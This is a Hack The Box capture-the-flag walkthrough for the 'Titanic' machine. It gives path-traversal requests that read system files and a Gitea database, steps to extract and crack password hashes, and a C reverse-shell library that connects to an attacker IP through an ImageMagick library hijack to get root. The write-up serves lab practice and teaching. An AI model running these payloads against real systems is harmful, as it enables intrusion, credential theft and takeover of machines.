HTB Titanic Writeup (Walkthrough)
INFO
Machine IP = 10.10.11.55
OS = Linux
Level = EASY
Points = 20
Let’s start by adding the machine to our hosts file:
1
echo "10.10.11.55 titanic.htb dev.titanic.htb" >> /etc/hosts
Enumeration
Port Scanning
1
nmap -sC -sV -oN titanic.nmap 10.10.11.55
Open Ports:
- 22/tcp OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
- 80/tcp Apache httpd 2.4.52
Web Enumeration
Visiting http://titanic.htb/ reveals a booking form at /book that generates JSON tickets. Intercepting the request shows a redirect to /download?ticket=random-id.json.
Local File Inclusion (LFI)
Testing path traversal in the ticket parameter:
1
curl -s "http://titanic.htb/download?ticket=../../../../etc/passwd"
Successful response includes:
1
2
3
root:x:0:0:root:/root:/bin/bash
[...]
developer:x:1000:1000:developer:/home/developer:/bin/bash
Discovering Subdomains
Extracting /etc/hosts via LFI:
1
curl -s "http://titanic.htb/download?ticket=../../../../etc/hosts"
Response shows:
1
127.0.0.1 localhost titanic.htb dev.titanic.htb
Gitea Exploration
Visiting http://dev.titanic.htb reveals a Gitea instance. After registering a user, we find two repositories:
- docker-config
- flask-app
Extracting Gitea Database
Using LFI to download the SQLite database:
1
curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o gitea.db
Extract credentials from the database:
1
sqlite3 gitea.db "SELECT name,passwd,salt FROM user WHERE name='developer'"
Output:
1
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
Or by another way:
1
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
Output:
1
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Cracking the Hash
Convert hash to hashcat format for first method:
1
python3 gitea2hashcat.py developer_hash.txt
Crack with hashcat:
1
hashcat -m 10900 developer_hash.txt /usr/share/wordlists/rockyou.txt
Cracked credentials:
1
developer:25282528
User Access
SSH access with cracked credentials:
1
ssh [email protected]
Retrieve user flag:
1
cat user.txt
Another way to get user flag from purbsuite:
1
2
3
4
5
6
7
8
9
10
GET /download?ticket=/home/developer/user.txt HTTP/1.1
Host: titanic.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://titanic.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Privilege Escalation
ImageMagick Exploit The /opt/scripts/identify_images.sh script uses vulnerable ImageMagick version 7.1.1-35.
Create malicious library:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cat > revshell.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor)) void init() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(4444); // Replace with your attacker's listening port
server.sin_addr.s_addr = inet_addr("10.10.16.x"); // Replace "YOUR_IP" with your attacker's IP address
connect(sock, (struct sockaddr *)&server, sizeof(server));
dup2(sock, 0); // Redirect stdin
dup2(sock, 1); // Redirect stdout
dup2(sock, 2); // Redirect stderr
char *argv[] = {"/bin/sh", NULL}; // Properly set arguments for execve
execve("/bin/sh", argv, NULL); // Spawn a shell
}
EOF
gcc -shared -fPIC -o libxcb.so.1 revshell.c
mv libxcb.so.1 /opt/app/static/assets/images/
Trigger the exploit:
1
echo "image.png" | sudo /opt/scripts/identify_images.sh
Root Access
On attacker machine:
1
nc -lnvp 4444
Retrieve root flag:
1
cat /root/root.txt
Or another way to get root flag withouth reverse shell:
1
2
3
4
5
6
7
8
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > /tmp/root.txt");
exit(0);
}
EOF
1
cat /tmp/root.txt
Conclusion
This challenge demonstrates the importance of proper input validation and keeping software dependencies updated. The path from LFI to root access involved multiple steps including credential reuse analysis and exploiting known vulnerabilities in outdated packages.
Flags
- User Flag: 4354526d3f…3fe19931
- Root Flag: efa441a20e…921d30d7
Done!
Hi there 👋 Support me!
Life is an echo—what you send out comes back.